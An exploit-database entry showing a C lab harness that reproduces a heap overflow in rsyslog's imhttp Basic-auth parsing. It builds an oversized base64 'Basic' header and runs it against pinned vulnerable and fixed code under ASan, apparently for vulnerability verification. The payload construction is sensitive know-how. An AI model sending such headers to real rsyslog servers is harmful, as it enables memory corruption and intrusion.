Exploit database

GH-77b084c651f84d76fe59d880f4600f96

genaforvena/mishe-tauftauf2shell

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-109618

412 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files4

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

lab/frontier/rsyslog2shell/driver.c

C · 6,739 bytes
/*
 * Frontier harness — rsyslog2shell (CVE-2026-55556 / GHSA-947w-69ph-mc2r).
 *
 * Executes VERBATIM pinned source from contrib/imhttp/imhttp.c at rsyslog
 * v8.2602.0 (vulnerable: calloc(0, len)) and v8.2604.0 (fixed: bounded
 * stack buffer, parse_basic_auth_header()). Pinned blocks are generated by
 * run.sh into gen_auth.h with #line directives so diagnostics name the
 * upstream file and line. Everything else here is harness scaffolding.
 *
 * APR's apr_base64_decode_len() is the authentic libaprutil function. The
 * sink apr_base64_decode() is redirected to lab_base64_decode(), an
 * instrumented equivalent compiled into this translation unit so ASan
 * observes the write the pinned call performs. run.sh asserts byte-for-byte
 * equivalence with the real libaprutil decoder for the exact lab payload.
 */
#define _GNU_SOURCE
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <malloc.h>
#include <apr_base64.h>

/* Harness stub: upstream sbool is a small boolean type; the pinned fixed
 * function only returns 0/1, so int preserves its observable behavior. */
typedef int sbool;

/* Upstream constants, pinned from the two source files (see PROVENANCE). */
#define IMHTTP_MAX_BUF_LEN (8192)               /* v8.2602.0:62 */
#define BASIC_AUTH_MAX_ENCODED 2048             /* v8.2604.0:68 */
#define BASIC_AUTH_MAX_DECODED ((BASIC_AUTH_MAX_ENCODED / 4) * 3) /* v8.2604.0:69 */
#define NO_ERRCODE 0

/* Minimal CivetWeb stand-in: the pinned code only calls mg_get_header(). */
struct mg_connection {
    const char *auth_header;
};
static const char *mg_get_header(struct mg_connection *conn, const char *name)
{
    (void)name;
    return conn->auth_header;
}

static void LogError(int a, int b, const char *fmt, ...) __attribute__((unused));
static void LogError(int a, int b, const char *fmt, ...)
{
    va_list ap;
    (void)a;
    (void)b;
    fputs("FIXED_LOG ", stdout);
    va_start(ap, fmt);
    vprintf(fmt, ap);
    va_end(ap);
    fputc('\n', stdout);
    fflush(stdout);
}

static const char *g_mode;
static const unsigned char *g_expected;
static size_t g_expected_len;

static int b64val(unsigned char c)
{
    if (c >= 'A' && c <= 'Z') return c - 'A';
    if (c >= 'a' && c <= 'z') return c - 'a' + 26;
    if (c >= '0' && c <= '9') return c - '0' + 52;
    if (c == '+') return 62;
    if (c == '/') return 63;
    return -1;
}

/* Instrumented equivalent of apr_base64_decode(); same output bytes/count as
 * libaprutil for the lab payload (asserted by APR_EQUIV below). */
static int lab_base64_decode(char *dst, const char *src)
{
    size_t i = 0, o = 0;
    int a, b, c, d;
    while (src[i]) {
        while (src[i] && b64val((unsigned char)src[i]) < 0) i++;
        if (!src[i]) break;
        a = b64val((unsigned char)src[i++]);
        if (!src[i]) break;
        b = b64val((unsigned char)src[i++]);
        dst[o++] = (char)((a << 2) | (b >> 4));
        if (src[i] == '=') { i++; if (src[i] == '=') i++; break; }
        c = b64val((unsigned char)src[i++]);
        dst[o++] = (char)(((b & 0x0f) << 4) | (c >> 2));
        if (src[i] == '=') { i++; break; }
        d = b64val((unsigned char)src[i++]);
        dst[o++] = (char)(((c & 0x03) << 6) | d);
    }
    return (int)o;
}

/* Harness-side base64 encoder for the attacker's chosen decoded payload. */
static void b64_encode(const unsigned char *src, size_t n, char *dst)
{
    static const char tab[] =
        "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    size_t i = 0, o = 0;
    while (i + 3 <= n) {
        unsigned v = (src[i] << 16) | (src[i + 1] << 8) | src[i + 2];
        dst[o++] = tab[(v >> 18) & 63];
        dst[o++] = tab[(v >> 12) & 63];
        dst[o++] = tab[(v >> 6) & 63];
        dst[o++] = tab[v & 63];
        i += 3;
    }
    if (n - i == 1) {
        unsigned v = src[i] << 16;
        dst[o++] = tab[(v >> 18) & 63];
        dst[o++] = tab[(v >> 12) & 63];
        dst[o++] = '='; dst[o++] = '=';
    } else if (n - i == 2) {
        unsigned v = (src[i] << 16) | (src[i + 1] << 8);
        dst[o++] = tab[(v >> 18) & 63];
        dst[o++] = tab[(v >> 12) & 63];
        dst[o++] = tab[(v >> 6) & 63];
        dst[o++] = '=';
    }
    dst[o] = '\0';
}

/* Verbatim pinned struct + parse function, generated by run.sh. */
#include "gen_auth.h"
#undef apr_base64_decode

int main(int argc, char **argv)
{
    g_mode = (argc > 1) ? argv[1] : "benign";
    int chosen = strcmp(g_mode, "chosen") == 0;
    size_t payload_len = chosen ? 9000u : 100u;
    static const unsigned char marker[16] = {
        0x54, 0x53, 0x52, 0x53, 0x59, 0x53, 0x48, 0x45,
        0x4c, 0x4c, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21
    };
    unsigned char *payload = (unsigned char *)malloc(payload_len);
    size_t i;
    if (!payload) return 90;
    for (i = 0; i < payload_len; i++) payload[i] = (unsigned char)(0x61 + (i % 26));
    memcpy(payload, marker, sizeof(marker));
    g_expected = payload;
    g_expected_len = payload_len;

    char *encoded = (char *)malloc(payload_len * 2 + 16);
    char *header = (char *)malloc(payload_len * 2 + 32);
    if (!encoded || !header) return 91;
    b64_encode(payload, payload_len, encoded);
    snprintf(header, payload_len * 2 + 32, "Basic %s", encoded);

    /* Authentic libaprutil length semantics; this is what the pinned
     * vulnerable branch compares against sizeof(workbuf). */
    int decoded_len = apr_base64_decode_len(encoded);
    printf("INPUT mode=%s payload=%zu encoded=%zu apr_decode_len=%d cap=%d\n",
           g_mode, payload_len, strlen(encoded), decoded_len, IMHTTP_MAX_BUF_LEN);

    /* Decoder equivalence, on the exact bytes the pinned sink will decode. */
    {
        char *a = (char *)malloc(payload_len + 32);
        char *b = (char *)malloc(payload_len + 32);
        int na, nb;
        if (!a || !b) return 92;
        na = lab_base64_decode(a, encoded);
        nb = apr_base64_decode(b, encoded);
        printf("APR_EQUIV lab=%d real=%d bytes_match=%d\n", na, nb,
               (na == nb && memcmp(a, b, (size_t)na) == 0) ? 1 : 0);
        free(a); free(b);
    }
    fflush(stdout);

    struct mg_connection conn = { header };
#ifdef VULN_BUILD
    struct auth_s auth;
    memset(&auth, 0, sizeof(auth));
    int rc = parse_auth_header(&conn, &auth);
    printf("RESULT build=vuln mode=%s rc=%d dynamic=%d decoded=%d\n",
           g_mode, rc, auth.pworkbuf != auth.workbuf ? 1 : 0, decoded_len);
#else
    struct auth_s auth;
    memset(&auth, 0, sizeof(auth));
    int rc = parse_basic_auth_header(&conn, &auth);
    printf("RESULT build=fixed mode=%s rc=%d user=%s\n",
           g_mode, rc, auth.pszUser ? auth.pszUser : "(null)");
#endif
    fflush(stdout);
    return 0;
}